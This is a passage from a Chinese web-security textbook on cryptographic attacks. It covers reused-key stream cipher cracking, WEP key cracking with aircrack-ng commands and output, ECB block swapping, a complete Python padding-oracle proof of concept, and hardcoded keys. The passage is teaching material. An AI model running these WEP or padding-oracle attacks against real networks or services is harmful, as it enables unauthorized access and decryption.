(array_key_exists($keyc2, $dict)){ echo \"\\nFound key in dictionary!\\n\"; echo \"keyc is: \".$keyc2.\"\\n\"; return crack($plaintext1,$dict[$keyc2],$cipher2); break; } } return False;}echo \"\\ncounter is:\".$counter.\"\\n\";$time_spend = time() - $time_start;echo \"crack time is: \".$time_spend.\" seconds \\n\";echo \"crack result is :\".$guess_result.\"\\n\";function crack($plain, $cipher_p, $cipher_t){ $target = ''; $tmp_p = substr($cipher_p, 26); //echo hex($tmp_p).\"\\n\"; $tmp_t = substr($cipher_t, 26); //echo hex($tmp_t).\"\\n\"; for ($i=0;$i<strlen($plain);$i++){ $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i])); } return $target;}function hex($str){ $result = ''; for ($i=0;$i<strlen($str);$i++){ $result .= \"\\\\x\".ord($str[$i]); } return $result;}function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { global $ckey_length; //$ckey_length = 0; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) :sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j];substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }}?>运行结果如下：在大约16秒后，共遍历了19295个不同的XOR KEY，找到了相同的IV，顺利破解出明文。\n11.3 WEP破解流密码加密算法存在“Reused Key Attack”和“Bit-flipping Attack”等攻击方式。而在现实中，一种最著名的针对流密码的攻击可能就是WEP密钥的破解。WEP是一种常用的无线加密传输协议，破解了WEP的密钥，就可以以此密钥连接无线的Access Point。WEP采用RC4算法，也存在这两种攻击方式。Windows操作系统连接无线网络的选项WEP在加密过程中，有两个关键因素，一个是初始化向量IV，一个是对消息的CRC-32校验。而这两者都可以通过一些方法克服。IV以明文的形式发送，在WEP中采用24bit的IV，但这其实不是很大的一个值。假设一个繁忙的AP，以11Mbps的速度发送大小为1500bytes的包，则15008/(1110^6)*2^24 = ~18000秒，约为5个小时。因此最多5个小时，IV就将耗光，不得不开始出现重复的IV。在实际情况中，并非每个包都有1500bytes大小，因此时间会更短。IV一旦开始重复，就会使得“Reused Key At-tack”成为可能。同时通过收集大量的数据包，找到相同的IV，构造出相同的CRC-32校验值，也可以成功实施“Bit-flipping Attack”。2001年8月，破解WEP的理论变得可行了。Berkly的Nikita Borisov, Ian Goldberg以及David Wagner共同完成了一篇很好的论文：“Se-curity of the WEP algorithm”，其中深入阐述了WEP破解的理论基础。实际破解WEP的步骤要稍微复杂一些，Air-crack实现了这一过程。第一步：加载目标。root@segfault:/home/cg/eric-g# airodump-ng --bssid 00:18:F8:F4:CF:E4 -c 9 ath2 -w eric-gCH 9 ][ Elapsed: 4 mins ][ 2007-11-21 23:08BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID00:18:F8:F4:CF:E4 21 21 2428 26251 0 9 48 WEP WEP OPN eric-GBSSID STATION PWR Lost Packets Probes00:18:F8:F4:CF:E4 06:19:7E:8E:72:87 23 0 34189第二步：与目标网络进行协商。root@segfault:/home/cg/eric-g# aireplay-ng -1 600 -e eric-G -a 00:18:F8:F4:CF:E4 -h06:19:7E:8E:72:87 ath222:53:23 Waiting for beacon frame (BSSID: 00:18:F8:F4:CF:E4)22:53:23 Sending Authentication Request22:53:23 Authentication successful22:53:23 Sending Association Request22:53:24 Association successful :-)22:53:39 Sending keep-alive packet22:53:54 Sending keep-alive packet22:54:09 Sending keep-alive packet22:54:24 Sending keep-alive packet22:54:39 Sending keep-alive packet22:54:54 Sending keep-alive packet22:55:09 Sending keep-alive packet22:55:24 Sending keep-alive packet22:55:39 Sending keep-alive packet22:55:54 Sending keep-alive packet22:55:54 Got a deauthentication packet!22:55:57 Sending Authentication Request22:55:59 Sending Authentication Request22:55:59 Authentication successful22:55:59 Sending Association Request22:55:59 Association successful :-)22:56:14 Sending keep-alive packet***KEEP THAT RUNNING第三步：生成密钥流。root@segfault:/home/cg/eric-g# aireplay-ng -5 -b 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87ath222:59:41 Waiting for a data packet...Read 873 packets...Size: 352, FromDS: 1, ToDS: 0 (WEP)BSSID = 00:18:F8:F4:CF:E4Dest. MAC = 01:00:5E:7F:FF:FASource MAC = 00:18:F8:F4:CF:E20x0000: 0842 0000 0100 5e7f fffa 0018 f8f4 cfe4 .B....^........0x0010: 0018 f8f4 cfe2 c0b5 121a 4600 0e18 0f3d ..........F....=0x0020: bd80 8c41 de34 0437 8d2d c97f 2447 3d81 ...A.4.7.-.$G=.0x0030: 9bdc 68da 06b2 18be 9cd6 9cb4 9443 8725 ..h..........C.%0x0040: 87f6 9a14 1ff9 0cfa bd36 862e ec54 7215 .........6...Tr.0x0050: 335b 4a91 d6a4 caae 5a58 a736 6230 87d9 3[J.....ZX.6b0..0x0060: 4e14 7617 21c6 eda4 9b0d 3a00 0b4f 47ab N.v.!.....:..OG.0x0070: a529 dedf 4c13 880c a1e6 37f7 50e6 599c .)..L.....7.P.Y.0x0080: 0a4c 0b7f 24ae b019 ef2f 36b9 c499 8643 .L.$..../6....C0x0090: 6592 5835 23e5 c8e9 d1b9 3d36 1fe5 ecfe e.X5#.....=6....0x00a0: 510b 51ba 4fe4 e2ed d33b 0459 ca68 82b8 Q.Q.O....;.Y.h..0x00b0: c856 ea70 829f c753 1614 290e d051 392f .V.p...S..)..Q9/0x00c0: fa65 cbc6 c5f8 24b1 cdbd 94e5 08c3 2dd4 .e....$.......-.0x00d0: 6e4b 983b dc82 b2cd b3f1 dab5 b816 6188 nK.;..........a.--- CUT ---Use this packet ? ySaving chosen packet in replay_src-1121-230028.cap23:00:38 Data packet found!23:00:38 Sending fragmented packet23:00:38 Got RELAYED packet!!23:00:38 Thats our ARP packet!23:00:38 Trying to get 384 bytes of a keystream23:00:38 Got RELAYED packet!!23:00:38 Thats our ARP packet!23:00:38 Trying to get 1500 bytes of a keystream23:00:38 Got RELAYED packet!!23:00:38 Thats our ARP packet!Saving keystream in fragment-1121-230038.xorNow you can build a packet with packetforge-ng out of that 1500 bytes keystream第四步：构造ARP包。root@segfault:/home/cg/eric-g# packetforge-ng -0 -a 00:18:F8:F4:CF:E4 -h06:19:7E:8E:72:87 -k 255.255.255.255 -l 255.255.255.255 -w arp -y *.xorWrote packet to: arp第五步：生成自己的ARP包。root@segfault:/home/cg/eric-g# aireplay-ng -2 -r arp -x 150 ath2Size: 68, FromDS: 0, ToDS: 1 (WEP)BSSID = 00:18:F8:F4:CF:E4Dest. MAC = FF:FF:FF:FF:FF:FFSource MAC = 06:19:7E:8E:72:870x0000: 0841 0201 0018 f8f4 cfe4 0619 7e8e 7287 .A..........~.r.0x0010: ffff ffff ffff 8001 1f1a 4600 c9d3 e5e7 ..........F.....0x0020: d65a 6a63 0b51 bb60 8390 a8b4 947d 456f .Zjc.Q.`.....}Eo0x0030: 3a05 25b2 7464 7db7 c49b d38a f789 822c :.%.td}........,0x0040: 83a8 93c5 ....Use this packet ? ySaving chosen packet in replay_src-1121-230224.cap第六步：开始破解。cg@segfault:~/eric-g$ aircrack-ng -z eric-g-05.capOpening eric-g-05.capRead 64282 packets.# BSSID ESSID Encryption1 00:18:F8:F4:CF:E4 eric-G WEP (21102 IVs)Choosing first network as target.Attack will be restarted every 5000 captured ivs.Starting PTW attack with 21397 ivs.Aircrack-ng 0.9.1[00:00:11] Tested 78120/140000 keys (got 22918 IVs)KB depth byte(vote)0 3/ 5 34( 111) 70( 109) 42( 107) 2C( 106) B9( 106) E3( 106)1 1/ 14 34( 115) 92( 110) 35( 109) 53( 109) 33( 108) CD( 107)2 6/ 18 91( 114) E7( 114) 21( 111) 0E( 110) 88( 109) C6( 109)3 2/ 31 37( 109) 80( 109) 5F( 108) 92( 108) 9E( 108) 9B( 107)4 0/ 2 29( 129) 55( 114) AD( 112) 6A( 111) BB( 110) C1( 110)KEY FOUND! [ 70:34:91:37:29 ]Decrypted correctly: 100%最终成功破解出WEP的KEY，可以免费蹭网了！\n11.4 ECB模式的缺陷前面讲到了流密码加密算法中的几种常见的攻击方法，在分组加密算法中，也有一些可能被攻击者利用的地方。如果开发者不熟悉这些问题，就有可能错误地使用加密算法，导致安全隐患。对于分组加密算法来说，除去算法本身，还有一些通用的加密模式，不同的加密算法会支持同样的几种加密模式。常见的加密模式有：ECB、CBC、CFB、OFB、CTR等。如果加密模式被攻击，那么不论加密算法的密钥有多长，都可能不再安全。ECB模式（电码簿模式）是最简单的一种加密模式，它的每个分组之间相对独立，其加密过程如下：但ECB模式最大的问题也是出在这种分组的独立性上：攻击者只需要对调任意分组的密文，在经过解密后，所得明文的顺序也是经过对调的。ECB模式可以交换密文或明文的顺序验证如下：ecb_mode.py:from Crypto.Cipher import DES3import binasciidef hex_s(str): re = '' for i in range(0,len(str)): re += \"\\\\x\"+binascii.b2a_hex(str[i]) return rekey = '1234567812345678'plain = 'aaaabbbbaaaabbbb'plain1 = 'xaaabbbbaaaabbbb'plain2 = 'aaaabbbbxaaabbbb'o = DES3.new(key, 1) # arg[1] == 1 means ECB MODEprint \"1 : \"+hex_s(o.encrypt(plain))print \"2 : \"+hex_s(o.encrypt(plain1))print \"3 : \"+hex_s(o.encrypt(plain2))分别对三段明文执行3-DES加密，所得结果如下：[root@vps tmp]#python ecb_mode.py1 : \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07\\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x072 : \\x32\\xd1\\xe9\\x5a\\x49\\x0f\\xfe\\x80\\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x073 : \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07\\x32\\xd1\\xe9\\x5a\\x49\\x0f\\xfe\\x80首先看看plain的值：aaaabbbbaaaabbbb3-DES每个分组为8个字节，因此明文会被分为两组：aaaabbbbaaaabbbbplain对应的密文为：\\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07\\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07将其密文分为两组：\\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07\\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07可见同样的明文经过加密后得到了同样的密文。再看看plain1，它与plain只在第一个字节上存在差异：xaaabbbbaaaabbbb加密后的密文为：\\x32\\xd1\\xe9\\x5a\\x49\\x0f\\xfe\\x80\\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07对比plain加密后的密文，可以看到，仅仅block 1的密文不同，而block 2的密文是完全一样的。也就是说，block 1并未影响到block 2的结果。这与链式加密模式（CBC）等是完全不同的，链式加密模式的分组前后之间会互相关联，一个字节的变化，会导致整个密文发生变化。这一特点也可以用于判断密文是否是用ECB模式加密的。再看看plain2，按照分组来看，它是plain1对调了两个分组的结果：aaaabbbbxaaabbbbplain2加密后的密文，其结果也正是plain1的密文对调分组密文的结果：\\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07\\x32\\xd1\\xe9\\x5a\\x49\\x0f\\xfe\\x80因此验证了之前的结论：对于ECB模式来说，改变分组密文的顺序，将改变解密后的明文顺序；替换某个分组密文，解密后该对应分组的明文也会被替换，而其他分组不受影响。这是非常危险的，假设某在线支付应用，用户提交的密文对应的明文为：member=abc||pay=10000.00其中前16个字节为：member=abc||pay=这正好是一个或两个分组的长度，因此攻击者只需要使用“1.00”的密文，替换“10000.00”的密文，即可伪造支付金额从10000元至1元。在实际攻击中，攻击者可以通过事先购买一个1元物品，来获取1.00的密文，这并非一件很困难的事情。ECB模式的缺陷，并非某个加密算法的问题，因此即使强壮如AES-256等算法，只要使用了ECB模式，也无法避免此问题。此外，ECB模式仍然会带有明文的统计特征，因此在分组较多的情况下，其私密性也会存在一些问题，如下：ECB模式与CBC模式的对比效果ECB模式并未完全混淆分组间的关系，因此当分组足够多时，仍然会暴露一些私密信息，而链式模式则避免了此问题。当需要加密的明文多于一个分组的长度时，应该避免使用ECB模式，而使用其他更加安全的加密模式。\n11.5 Padding Oracle Attack在Eurocrypt 2002大会上，Vaudenay介绍了针对CBC模式的“Padding Oracle Attack”。它可以在不知道密钥的情况下，通过对padding bytes的尝试，还原明文，或者构造出任意明文的密文。在2010年的BlackHat欧洲大会上，JulianoRizzo与Thai Duong介绍了“Padding Oracle”在实际中的攻击案例，并公布了ASP.NET存在的Padding Oracle问题。在2011年的Pwnie Re-wards中，ASP.NET的这个漏洞被评为“最具价值的服务器端漏洞”。下面来看看Padding Oracle的原理，在此以DES为例。分组加密算法在实现加/解密时，需要把消息进行分组（block），block的大小常见的有64bit、128bit、256bit等。以CBC模式为例，其实现加密的过程大致如下：在这个过程中，如果最后一个分组的消息长度没有达到block的大小，则需要填充一些字节，被称为padding。以8个字节一个block为例：比如明文是FIG，长度为3个字节，则剩下5个字节被填充了 0x05,0x05,0x05,0x05,0x05这5个相同的字节，每个字节的值等于需要填充的字节长度。如果明文长度刚好为8个字节，如：PLAN-TAIN，则后面需要填充8个字节的padding，其值为0x08。这种填充方法，遵循的是最常见的PKCS#5标准。PKCS#5填充效果示意图假设明文为：BRIAN;12;2;经过DES加密（CBC模式）后，其密文为：7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6密文采用了ASCII十六进制的表示方法，即两个字符表示一个字节的十六进制数。将密文进行分组，密文的前8位为初始化向量IV。密文的长度为24个字节，可以整除8而不能整除16，因此可以很快判断出分组的长度应该为8个字节。其加密过程如下：初始化向量IV与明文XOR后，再经过运算得到的结果将作为新的IV，用于分组2类似的，解密过程如下：。在解密完成后，如果最后的padding值不正确，解密程序往往会抛出异常（padding error）。而利用应用的错误回显，攻击者往往可以判断出padding是否正确。所以Padding Oracle实际上是一种边信道攻击，攻击者只需要知道密文的解密结果是否正确即可，而这往往有许多途径。比如在Web应用中，如果是padding不正确，则应用程序很可能会返回500的错误；如果padding正确，但解密出来的内容不正确，则可能会返回200的自定义错误。那么，以第一组分组为例，构造IV为8个0字节：Request: http://sampleapp/home.jsp?UID=0000000000000000F851D6CC68FC9537Response: 500 - Internal Server Error此时在解密时padding是不正确的。正确的padding值只可能为：1个字节的padding为 0x012个字节的padding为 0x02,0x023个字节的padding为 0x03,0x03,0x034个字节的padding为 0x04,0x04,0x04,0x04……因此慢慢调整IV的值，以希望解密后，最后一个字节的值为正确的padding byte，比如一个0x01。Request: http://sampleapp/home.jsp?UID=0000000000000001F851D6CC68FC9537Response: 500 - Internal Server Error逐步调整IV的值：因为Intermediary Value是固定的（我们此时 不知道Intermediary Value的值是多少），因此从0x00到0xFF之间，只可能有一个值与Intermedi-ary Value的最后一个字节进行XOR后，结果是0x01。通过遍历这255个值，可以找出IV需要的最后一个字节：Request: http://sampleapp/home.jsp?UID=000000000000003CF851D6CC68FC9537Response: 200 OK通过XOR运算，可以马上推导出此Interme-diary Byte的值：If [Intermediary Byte] ^ 0x3C == 0x01,then [Intermediary Byte] == 0x3C ^ 0x01,so [Intermediary Byte] == 0x3D回过头看看加密过程：初始化向量IV与明文进行XOR运算得到了Intermediary Value，因此将刚才得到的Intermediary Byte：0x3D与真实IV的最后一个字节0x0F进行XOR运算，既能得到明文。0x3D ^ 0x0F = 0x320x32是2的十六进制形式，正好是明文！在正确匹配了padding “0x01”后，需要做的是继续推导出剩下的Intermediary Byte。根据padding的标准，当需要padding两个字节时，其值应该为0x02, 0x02。而我们已经知道了最后一个Intermediary Byte为0x3D，因此可以更新IV的第8个字节为0x3D ^ 0x02 = 0x3F，此时可以开始遍历IV的第7个字节（0x00～0xFF）。通过遍历可以得出，IV的第7个字节为0x24，对应的Intermediary Byte为0x26。依此类推，可以推导出所有的IntermediaryByte。获得Intermediary Value后，通过与原来的IV进行XOR运算，即可得到明文。在这个过程中，仅仅用到了密文和IV，通过对padding的推导，即可还原出明文，而不需要知道密钥是什么。而IV并不需要保密，它往往是以明文形式发送的。如何通过Padding Oracle使得密文能够解密为任意明文呢？实际上通过前面的解密过程可以看出，通过改变IV，可以控制整个解密过程。因此在已经获得了 Intermediary Value 的情况下，很快就可以通过XOR运算得到可以生成任意明文的IV。而对于多个分组的密文来说，从最后一组密文开始往前推。以两个分组为例，第二个分组使用的IV是第一个分组的密文（cipher text），因此当推导出第二个分组使用的IV时，将此IV值当做第一个分组的密文，再次进行推导。多分组的密文可以依此类推，由此即可找到解redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.\"\"\"import sys# https://www.dlitz.net/software/pycrypto/from Crypto.Cipher import *import binascii# the key for encrypt/decrypt# we demo the poc here, so we need the key# in real attack, you can trigger encrypt/decrypt in a complete blackbox envENCKEY = 'abcdefgh'def main(args): print print \"=== Padding Oracle Attack POC(CBC-MODE) ===\" print \"=== by axis ===\" print \"=== axis@ph4nt0m.org ===\" print \"=== 2011.9 ===\" print ######################################## # you may config this part by yourself iv = '12345678' plain = 'aaaaaaaaaaaaaaaaX' plain_want = \"opaas\" # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 cipher = \"blowfish\" ######################################## block_size = 8 if cipher.lower() == \"aes\": block_size = 16 if len(iv) != block_size: print \"[-] IV must be \"+str(block_size)+\" bytes long(the same as block_size)!\" return False print \"=== Generate Target Ciphertext ===\" ciphertext = encrypt(plain, iv, cipher) if not ciphertext: print \"[-] Encrypt Error!\" return False print \"[+] plaintext is: \"+plain print \"[+] iv is: \"+hex_s(iv) print \"[+] ciphertext is: \"+ hex_s(ciphertext) print print \"=== Start Padding Oracle Decrypt ===\" print print \"[+] Choosing Cipher: \"+cipher.upper() guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size) if guess: print \"[+] Guess intermediary value is: \"+hex_s(guess[\"intermediary\"]) print \"[+] plaintext = intermediary_value XOR original_IV\" print \"[+] Guess plaintext is: \"+guess[\"plaintext\"] print if plain_want: print \"=== Start Padding Oracle Encrypt ===\" print \"[+] plaintext want to encrypt is: \"+plain_want print \"[+] Choosing Cipher: \"+cipher.upper() en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size) if en: print \"[+] Encrypt Success!\" print \"[+] The ciphertext you want is: \"+hex_s(en[block_size:]) print \"[+] IV is: \"+hex_s(en[:block_size]) print print \"=== Let's verify the custom encrypt result ===\" print \"[+] Decrypt of ciphertext '\"+ hex_s(en[block_size:]) +\"' is:\" de = decrypt(en[block_size:], en[:block_size], cipher) if de == add_PKCS5_padding(plain_want, block_size): print de print \"[+] Bingo!\" else: print \"[-] It seems something wrong happened!\" return False return True else: return Falsedef padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8): # the last block guess_cipher = ciphertext[0-block_size:] plaintext = add_PKCS5_padding(plaintext, block_size) print \"[*] After padding, plaintext becomes to: \"+hex_s(plaintext) print block = len(plaintext) iv_nouse = iv # no use here, in fact we only need intermediary prev_cipher = ciphertext[0-block_size:] # init with the last cipher block while block > 0: # we need the intermediary value tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size,debug=False) # calculate the iv, the iv is the ciphertext of the previous block prev_cipher = xor_str( plaintext[block-block_size:block], tmp[\"intermediary\"] ) #save result guess_cipher = prev_cipher + guess_cipher block = block - block_size return guess_cipherdef padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True): # split cipher into blocks; we will manipulate ciphertext block by block cipher_block = split_cipher_block(ciphertext, block_size) if cipher_block: result = {} result[\"intermediary\"] = '' result[\"plaintext\"] = '' counter = 0 for c in cipher_block: if debug: print \"[*] Now try to decrypt block \"+str(counter) print \"[*] Block \"+str(counter)+\"'s ciphertext is: \"+hex_s(c) print # padding oracle to each block guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug) if guess: iv = c result[\"intermediary\"] += guess[\"intermediary\"] result[\"plaintext\"] += guess[\"plaintext\"] if debug: print print \"[+] Block \"+str(counter)+\" decrypt!\" print \"[+] intermediary value is: \"+hex_s(guess[\"intermediary\"]) print \"[+] The plaintext of block \"+str(counter)+\" is: \"+guess[\"plaintext\"] print counter = counter+1 else: print \"[-] padding oracle decrypt error!\" return False return result else: print \"[-] ciphertext's block_size is incorrect!\" return Falsedef padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True): result = {} plain = '' intermediary = [] # list to save intermediary iv_p = [] # list to save the iv we found for i in range(1, block_size+1): iv_try = [] iv_p = change_iv(iv_p, intermediary, i) # construct iv # iv = \\x00...(several 0 bytes) + \\x0e(the bruteforce byte) + \\xdc...(the iv byteswe found) for k in range(0, block_size-i): iv_try.append(\"\\x00\") # bruteforce iv byte for padding oracle # 1 bytes to bruteforce, then append the rest bytes iv_try.append(\"\\x00\") for b in range(0,256): iv_tmp = iv_try iv_tmp[len(iv_tmp)-1] = chr(b) iv_tmp_s = ''.join(\"%s\" % ch for ch in iv_tmp) # append the result of iv, we've just calculate it, saved in iv_p for p in range(0,len(iv_p)): iv_tmp_s += iv_p[len(iv_p)-1-p] # in real attack, you have to replace this part to trigger the decrypt program #print hex_s(iv_tmp_s) # for debug plain = decrypt(ciphertext, iv_tmp_s, cipher) #print hex_s(plain) # for debug # got it! # in real attack, you have to replace this part to the padding error judgement if check_PKCS5_padding(plain, i): if debug: print \"[*] Try IV: \"+hex_s(iv_tmp_s) print \"[*] Found padding oracle: \" + hex_s(plain) iv_p.append(chr(b)) intermediary.append(chr(b ^ i)) break plain = '' for ch in range(0, len(intermediary)): plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) ) result[\"plaintext\"] = plain result[\"intermediary\"] = ''.join(\"%s\" % ch for ch in intermediary)[::-1] return result# save the iv bytes found by padding oracle into a listdef change_iv(iv_p, intermediary, p): for i in range(0, len(iv_p)): iv_p[i] = chr( ord(intermediary[i]) ^ p) return iv_pdef split_cipher_block(ciphertext, block_size=8): if len(ciphertext) % block_size != 0: return False result = [] length = 0 while length < len(ciphertext): result.append(ciphertext[length:length+block_size]) length += block_size return resultdef check_PKCS5_padding(plain, p): if len(plain) % 8 != 0: return False # convert the string plain = plain[::-1] ch = 0 found = 0 while ch < p: if plain[ch] == chr(p): found += 1 ch += 1 if found == p: return True else: return Falsedef add_PKCS5_padding(plaintext, block_size): s = '' if len(plaintext) % block_size == 0: return plaintext if len(plaintext) < block_size: padding = block_size - len(plaintext) else: padding = block_size - (len(plaintext) % block_size) for i in range(0, padding): plaintext += chr(padding) return plaintextdef decrypt(ciphertext, iv, cipher): # we only need the padding error itself, not the key # you may gain padding error info in other ways # in real attack, you may trigger decrypt program # a complete blackbox environment key = ENCKEY if cipher.lower() == \"des\": o = DES.new(key, DES.MODE_CBC,iv) elif cipher.lower() == \"aes\": o = AES.new(key, AES.MODE_CBC,iv) elif cipher.lower() == \"des3\": o = DES3.new(key, DES3.MODE_CBC,iv) elif cipher.lower() == \"blowfish\": o = Blowfish.new(key, Blowfish.MODE_CBC,iv) elif cipher.lower() == \"cast\": o = CAST.new(key, CAST.MODE_CBC,iv) elif cipher.lower() == \"arc2\": o = ARC2.new(key, ARC2.MODE_CBC,iv) else: return False if len(iv) % 8 != 0: return False if len(ciphertext) % 8 != 0: return False return o.decrypt(ciphertext)def encrypt(plaintext, iv, cipher): key = ENCKEY if cipher.lower() == \"des\": if len(key) != 8: print \"[-] DES key must be 8 bytes long!\" return False o = DES.new(key, DES.MODE_CBC,iv) elif cipher.lower() == \"aes\": if len(key) != 16 and len(key) != 24 and len(key) != 32: print \"[-] AES key must be 16/24/32 bytes long!\" return False o = AES.new(key, AES.MODE_CBC,iv) elif cipher.lower() == \"des3\": if len(key) != 16: print \"[-] Triple DES key must be 16 bytes long!\" return False o = DES3.new(key, DES3.MODE_CBC,iv) elif cipher.lower() == \"blowfish\": o = Blowfish.new(key, Blowfish.MODE_CBC,iv) elif cipher.lower() == \"cast\": o = CAST.new(key, CAST.MODE_CBC,iv) elif cipher.lower() == \"arc2\": o = ARC2.new(key, ARC2.MODE_CBC,iv) else: return False plaintext = add_PKCS5_padding(plaintext, len(iv)) return o.encrypt(plaintext)def xor_str(a,b): if len(a) != len(b): return False c = '' for i in range(0, len(a)): c += chr( ord(a[i]) ^ ord(b[i]) ) return cdef hex_s(str): re = '' for i in range(0,len(str)): re += \"\\\\x\"+binascii.b2a_hex(str[i]) return reif __name__ == \"__main__\": main(sys.argv)Padding Oracle Attack的关键在于攻击者能够获知解密的结果是否符合padding。在实现和使用CBC模式的分组加密算法时，注意这一点即可。\n11.6 密钥管理在密码学里有个基本的原则：密码系统的安全性应该依赖于密钥的复杂性，而不应该依赖于算法的保密性。在安全领域里，选择一个足够安全的加密算法不是困难的事情，难的是密钥管理。在一些实际的攻击案例中，直接攻击加密算法本身的案例很少，而因为密钥没有妥善管理导致的安全事件却很多。对于攻击者来说，他们不需要正面破解加密算法，如果能够通过一些方法获得密钥，则是件事半功倍的事情。密钥管理中最常见的错误，就是将密钥硬编码在代码里。比如下面这段代码，就将Hash过的密码硬编码在代码中用于认证。public boolean VerifyAdmin(String password) { if (password.equals(\"68af404b513073584c4b6f22b6c63e6b\")) { System.out.println(\"Entering Diagnostic Mode...\"); return true; } System.out.println(\"Incorrect Password!\"); return false;同样的，将加密密钥、签名的salt等“key”硬编码在代码中，是非常不好的习惯。File saveFile = new File(\"Settings.set\"); saveFile.delete(); FileOutputStream fout = new FileOutputStream(saveFile); //Encrypt the settings //Generate a key byte key[] = \"My Encryption Key98\".getBytes(); DESKeySpec desKeySpec = new DESKeySpec(key); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"DES\"); SecretKey skey = keyFactory.generateSecret(desKeySpec); //Prepare the encrypter Cipher ecipher = Cipher.getInstance(\"DES\"); ecipher.init(Cipher.ENCRYPT_MODE, skey); // Seal (encrypt) the object SealedObject so = new SealedObject(this, ecipher); ObjectOutputStream o = new ObjectOutputStream(fout); o.writeObject(so); o.close();下面这段代码来自一个开源系统，它硬编码了私钥，而该私钥能被用于支付。function toSubmit($payment){ $merId = $this->getConf($payment['M_OrderId'], 'member_id'); //账号 $pKey = $this->getConf($payment['M_OrderId'], 'PrivateKey'); $key = $pKey==''?'afsvq2mqwc7j0i69uzvukqexrzd0jq6h':$pKey;//私钥值 $ret_url = $this->callbackUrl; $server_url = $this->serverCallbackUrl;硬编码的密钥，在以下几种情况下可能被泄露。一是代码被广泛传播。这种泄露途径常见于一些开源软件；有的商业软件并不开源，但编译后的二进制文件被用户下载，也可能被逆向工程反编译后，泄露硬编码的密钥。二是软件开发团队的成员都能查看代码，从而获知硬编码的密钥。开发团队的成员如果流动性较大，则可能会由此泄露代码。对于第一种情况，如果一定要将密钥硬编码在代码中，我们尚可通过Diffie-Hellman交换密钥体系，生成公私钥来完成密钥的分发；而对于第二种情况，则只能通过改善密钥管理来保护密钥。对于Web应用来说，常见的做法是将密钥（包括密码）保存在配置文件或者数据库中，在使用时由程序读出密钥并加载进内存。密钥所在的配置文件或数据库需要严格的控制访问权限，同时也要确保运维或DBA中具有访问权限的人越少越好。在应用发布到生产环境时，需要重新生成新的密钥或密码，以免与测试环境中使用的密钥相同。当黑客已经入侵之后，密钥管理系统也难以保证密钥的安全性。比如攻击者获取了一个web-shell，那么攻击者也就具备了应用程序的一切权限。由于正常的应用程序也需要使用密钥，因此对密钥的控制不可能限制住webshell的“正常”请求。密钥管理的主要目的，还是为了防止密钥从非正常的渠道泄露。定期更换密钥也是一种有效的做法。一个比较安全的密钥管理系统，可以将所有的密钥（包括一些敏感配置文件）都集中保存在一个服务器（集群）上，并通过Web Service的方式提供获取密钥的API。每个Web应用在需要使用密钥时，通过带认证信息的API请求密钥管理系统，动态获取密钥。Web应用不能把密钥写入本地文件中，只加载到内存，这样动态获取密钥最大程度地保护了密钥的私密性。密钥集中管理，降低了系统对于密钥的耦合性，也有利于定期更换密钥。\n11.7 伪随机数问题伪随机数（pseudo random number）问题——伪随机数不够随机，是程序开发中会出现的一个问题。一方面，大多数开发者对此方面的安全知识有所欠缺，很容易写出不安全的代码；另一方面，伪随机数问题的攻击方式在多数情况下都只存在于理论中，难以证明，因此在说服程序员修补代码时也显得有点理由不够充分。但伪随机数问题是真实存在的、不可忽视的一个安全问题。伪随机数，是通过一些数学算法生成的随机数，并非真正的随机数。密码学上的安全伪随机数应该是不可压缩的。对应的“真随机数”，则是通过一些物理系统生成的随机数，比如电压的波动、硬盘磁头读/写时的寻道时间、空中电磁波的噪声等。11.7.1 弱伪随机数的麻烦2008年5月13日，Luciano Bello发现了De-bian上的OpenSSL包中存在弱伪随机数算法。产生这个问题的原因，是由于编译时会产生警告（warning）信息，因此下面的代码被移除了。MD_Update(&m,buf,j);[ .. ]MD_Update(&m,buf,j); /* purify complains 